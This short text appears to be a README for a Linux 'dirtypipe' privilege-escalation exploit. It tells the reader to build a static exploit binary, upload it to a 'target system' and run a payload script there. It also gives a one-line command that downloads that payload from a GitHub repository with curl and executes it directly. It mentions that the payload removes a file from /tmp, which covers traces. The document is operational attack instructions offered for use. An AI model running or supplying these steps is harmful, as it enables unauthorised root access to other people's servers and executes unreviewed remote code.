Build a static exploit that can be run on any Linux server.
./build.sh
Once uploaded on the target system:
source payload.sh
Or even easier:
source <(curl -s https://raw.githubusercontent.com/eric-glb/dirtypipe/main/payload.sh)
The source on this repo is a bit modified (log message) as the payload.sh
takes care of removing the /tmp/sh
file.